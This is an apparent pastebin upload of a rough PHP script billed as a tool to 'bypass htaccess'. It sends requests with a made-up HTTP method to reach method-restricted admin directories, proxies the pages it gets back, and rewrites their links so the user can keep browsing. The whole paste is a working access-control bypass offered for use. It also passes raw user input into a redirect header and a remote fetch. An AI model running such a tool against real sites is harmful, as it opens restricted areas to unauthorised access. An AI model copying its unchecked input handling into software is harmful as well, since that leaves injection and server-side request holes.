
Rioru's http method modification.
By: a guest on Apr 5th, 2010 | syntax:
PHP | size: 1.45 KB | hits: 254 | expires: Never
/*
Author: Rioru Zheoske
Site: ddxhunter.com - seraphicsquad.com
Version: 0.1a
Note: The code isn't optimized, really rough. Navigation won't work everytime, still have to add some preg_replace.
*/
<?php
$siteurl = "http://yoursite.com/methodbypass.php"; //Enter your website with this script url here.
if(isset($_POST['url'])){
$redir='Location: '.$siteurl.'?url='.base64_encode($_POST["url"]).'&file='.$_POST["file"];
header($redir);
exit;
}
if(!isset($_GET['url'])){
echo '<form method="post" action="./methodbypass.php">';
echo "<h1>Rioru's http method modification. (Bypass htaccess)</h1><p>To use this tool, enter the link (base url), then enter (exemple: http://site.com/admin/) .:</p>";
echo "PS: POST DATA won't work, and proxy isn't enabled.";
echo '<p><input type="text" name="url" id="url" size="120" /></p><p>End of url (Optionnal, exemple: user_list.php)</p><p><input type="text" name="file" id="file" size="120" /></p><p><input type="submit" name="send" value="Go." /></p>';
echo '</form>';
exit;
}
else{
$context = array('http' => array('method'=>"SER", 'request_fulluri' => True, 'ignore_errors' => True, ), );
$context = stream_context_create($context);
$finalurl = base64_decode($_GET['url']).$_GET['file'];
$a = file_get_contents($finalurl, False, $context);
$pattern = '/a href="(.*?)\"/';
$replace = 'a href="'.$siteurl.'?url='.$_GET['url'].'&file='.'$1"';
$b = preg_replace($pattern, $replace, $a);
echo $b;
echo "Seraphic Squad.";
}